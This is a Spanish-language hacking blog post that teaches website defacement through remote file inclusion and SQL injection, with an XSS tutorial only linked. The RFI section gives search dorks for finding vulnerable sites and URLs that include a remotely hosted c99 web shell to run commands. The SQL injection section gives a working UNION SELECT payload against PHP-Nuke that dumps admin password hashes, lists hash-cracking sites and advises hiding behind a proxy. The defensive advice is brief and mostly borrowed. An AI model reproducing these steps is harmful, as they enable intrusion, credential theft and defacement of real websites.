Introducción Defaces

INTRODUCCIÓN DEFACES

Quiero dar un pequeña introducción antes de explicar tipos de defaces y como proteger una pagina.
Una deface es mediante un bug del codigo de una pagina web conseguir hacer lo que te propones a esa pagina web, redireccionarla a otra web, robo de cookies, modificación de información ...
Explicaré 3 tipos de defaces:
RFI (Remote file inclusion)
XSS (Cross site scripting)
SQL injection

Explicaré cada tipo, pondré un ejemplo de su uso, y intentaré demostrar formas de protección ante esos tipos de ataques.

TUTORIAL RFI

por iLuN


Este tutorial ha sido hecho por iLuN para el blog de http://pirates-of-the-routers.blogspot.com

No me hago responsable de los actos que hagais mediante los conocimientos adquiridos con este tutorial. Este tutorial es solo educativo nada mas.


1.- Que es RFI?


La tecnica de RFI (Remote file inclusion) consiste en explotar una vulneravilidad de PHP por un fallo de programación en el codigo. La inclusión de ficheros suele exportarse mediante el metodo GET y el metodo POST, los cuales son metodos de transferencia de datos al servidor web donde esta alojada la pagina.

La manera de saber si la pagina está usando un metodo GET es viendo en la barra de direcciones del navegador algo parecido a esto:


http://www.pagina.com/archivo.php?var1=dato1


Normalmente el error en la programación viene dado al utilizar la función include de PHP.

Include “fichero”;


Esta explicación deja las cosas un poco sueltas, pero ahora lo veremos mejor.


2.- Manos a la obra con RFI


Lo primero que hay que hacer es buscar una web vulnerable a RFI, para ello en google ponemos las siguientes busquedas o similares, por ejemplo:


default.php?page= inurl:"default.php?page="


folder.php?id= inurl:"folder.php?id="


index.php?Load= inurl:"index.php?Load="


index.php?Language= inurl:"index.php?Language="


hall.php?file= inurl:"hall.php?file="


hall.php?page= inurl:"hall.php?page="


Lo siguiente es asegurarse de que la pagina es vulnerable a RFI, para ello en la url insertamos otra url, es decir:


http://webvuln.com/index.php?Load=www.google.es

Lo que acabamos de hacer es insertar en la url de la web vulnerable otra direccion, si la pagina de google carga, la web es vulnerable.

Vale, pero direis que con esto no conseguimos gran cosa, pero y si insertamos la url de una shell que tengamos alojada en otro servidor?. Una shell lo que nos permite es poder ejecutar comandos en el servidor de la web vulnerable, con lo que podrias hacer mucha pupita.

Las shell que uso son las siguientes:


c99, c100 y r57


Vale, repasemos. Una vez descubramos la pagina vulnerable a RFI tenemos que subir o tener subida un shell (c99,c100,r57...) a un servidor, es muy muy muy importante que subamos la shell con extension txt, para que no se ejecute en nuestro servidor donde tenemos la shell.


Ahora tenemos que atacar la pagina vulnerable de la siguiente manera:


[http://webvuln.com/index.php?Load=http://servidordelashell/shell.txt]


ejemplo:


[http://www.webvuln.com/index.php?Load=http://iLuN.com/c99.txt]


Si queremos ejecutar directamente un comando pondriamos lo siguiente:


[http://www.webvuln.com/index.php?Load=http://iLuN.com/c99.txt&&cmd="comando"]







Es importante saber que la mayoria de los webmasters protegen sus paginas contra este tipo de ataques. Ahora explicare la forma de proteger una pagina a RFI.



3.-Proteger la pagina a RFI


El texto que a continuación os presento es un post de un usuario (en este caso moderador global) del foro de el hacker, si quereis ver pinchar en el siguiente enlace:


[http://foro.el-hacker.com/index.php/topic,145634.0.html]



ManCuerTex:


Pues una de las soluciones mas sencillas del mundo, es crear un mini filtro, para decirle a nuestra página, que secciones pueden pasar por la variable sección.

Es tan facil como crear un array y indicarle las páginas.

Ejemplo:

[$seccion=array("info.html", "index.html", "seccion2.html");]


Otro filtro que es el que sea usa mucho, es el deshabilitar los dos puntos (Smiley en las variables de entrada como $seccion.

¿Para que queremos que se use el caracter de los dos puntos?

Para nada, no nos puede traer nada bueno, ya que lo utilizan los atacantes para poner HTTP://

Así que creamos otro minifiltro para prohibir los (Smiley dentro de la variable.

Ejemplo:



Bueno, es tan facil como eso.

Y como último, opción preventiva, que a veces puede causar la incompatibilidad en algunas configuraciones.

Vamos al archivo php.ini y modificamos el valor "allow_url_fopen", lo dejamos a "0".

Esto del php.ini no se puede modificar en la mayoría de servidores, ya que los servidores que se contratan, ya tienen sus propias políticas de seguridad, y tienen el archivo php.ini configurado como ellos quieren, por eso lo he puesto en el final y sin mucha importancia. Porque metiendo los filtros aquí dichos en nuestra página, ya podemos decirle Adios al RFI.”





Me parece interesante el aporte de ManCuerText, por su claridad y su entendimiento. Como acabais de leer la solucion al RFI no es complicada de entender, ahora para proteger vuestras paginas de RFI esta en vuestras manos.


Esto ha sido todo :) Nos vemos en el proximo tutorial.






TUTORIAL XSS
por iLuN

Por razones curiosas, pero ciertas no puedo postear aquí este tutorial. La razon? xD Blogspot es vulnerable a XSS, me di cuenta ayer cuando lo postee. La solución que se me a ocurrido es subir el manual a rapidshare. El problema es que esta en .odt formato de open ofice asi que pongo aqui un link donde lo prodreis pasar a formato de word. Merece la pena ver el tuto.

DESCARGAR TUTORIAL -----> http://rapidshare.com/files/189803049/XSS.odt.html

CONVERSOR -----> http://www.zamzar.com/conversionTypes.php#documents
http://media-convert.com/conversion/

Las dos paginas son muy buenas. Ya me fastidia lo ocurrido, haber si lo arreglan pronto jaja porque yo mismo conozco la pereza de tener que bajarselo y convertilo. Pero bueno he dado las mayores comodidades que he podido ya lo siento :) Pero la culpa la tiene google jajajaja.




TUTORIAL SQL INJECTION BASICO
por iLuN


1.-Introducción

SQL injection es un tipo de ataque con el que se pretende sacar información o modificarla de una base de datos. Este ataque se aprobecha del filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL.

Como siempre la explicación es un poco abstracta asi que lo vereis mejor en el transcurso de l tutorial.

Solo explicar a los que no sepan lo que es SQL, que es un lenguaje de manipulación de datos de una base de datos, digamos que con SQL hacemos consultas a una tabla, creamos tablas … para mas información esta San Wikipedia.

Para que cojais una idea los que nunca habeis visto el lenguaje SQL que una sentencia facilita es de este pelo:

select * from usuarios where nombre='admin';

Lo que decimos es que seleccione todo (*) de la tabla usuarios donde el nombre (campo de esa tabla) es admin. Esto nos daria toda su información, y puede que esta contenga la pass.


2.- Al tema con SQL injection!

El ataque que voy a enseñar es uno de los mas sencillos de hacer. Solo demostrare como encontrar una pagina vulnerable y como sacar la información de esta. Una vez tengas la información tendras que jugar con tu cerebro para hacerle lo que quieras a la pagina.

Lo primer que tenemos que hacer es buscar una web vulnerable a SQL injection, bien pues vamos a el buscador de yahoo:

http://es.search.yahoo.com/web?fr=yfp-t-501

Y una vez dentro buscamos con el siguiente codigo:

modules.php?name=Statistics Version PHP-Nuke

Al darle a buscar nos apareceran paginas en PHP nuke que son las vulnerables al ataque que vamos a realizar ahora, pero no desespereis muchas están solucinadas.

Lo siguiente es probar haber si la pagina que estamos visitando es vulnerable, para ello insertamos en la url lo siguiente:

modules.php?name=Search&type=comments&%20%20%20query=&%20%20%20query=loquesea&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

de tal forma que si la url es:

www.webvul.com/modules.php?=

quedaria de esta forma:

www.webvul.com/modules.php?name=Search&type=comments&%20%20%20query=&%20%20%20query=loquesea&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

Si la web es vulnerable te dará el nombre de los usuarios y la contraseña en MD5.

Por ultimo solo tenemos que ir a un crackeado de MD5 para buscar la contraseña, por ejemplo:

http://md5.rednoize.com/
http://passcracking.com/index.php
http://www.milw0rm.com/cracker/info.php
http://www.xmd5.net/index_en.htm
http://shm.hard-core.pl/md5/
http://www.csthis.com/md5/index.php
http://gdataonline.com/
http://md5.benramsey.com/


Una vez tengamos el nombre de usuario y la contraseña crackeada solo tenemos que loguearnos en la pagina como ese usuario y hacer volar nuestra imaginación.

Aviso: Utilizar un proxy antes de hacer estos ataques y una pista los usuarios administradores o el usuario administrador son los primeros de la lista :)



3.-Proteger nuestra pagina de ataques SQL injection

Como siempre os pongo la opinión de un experto en materia :), aquí os dejo la solución que da David Rodrigez sobre proteger la pagina ante estos tipos de ataques:

http://blogdavidrodriguez.piensaennaranja.com/2008/06/16/proteger-pagina-web-contra-sql-injection/

Y ya sabeis proteger vuestra pagina esta en vuestras manos pero el dañarla en la de los otros :)





4.-Despedida

Este tutorial os habra parecido mas soso que los anteriores pero la explicacíon es sencilla. Si haria un tutorial sobre SQL injection avanzado los que no sepan lenguaje SQL se perderian asi que les dejo un poco de tregua con este tutorial a la espera del fuerte :)



Fuentes:

http://blogdavidrodriguez.piensaennaranja.com



No hay comentarios:

Publicar un comentario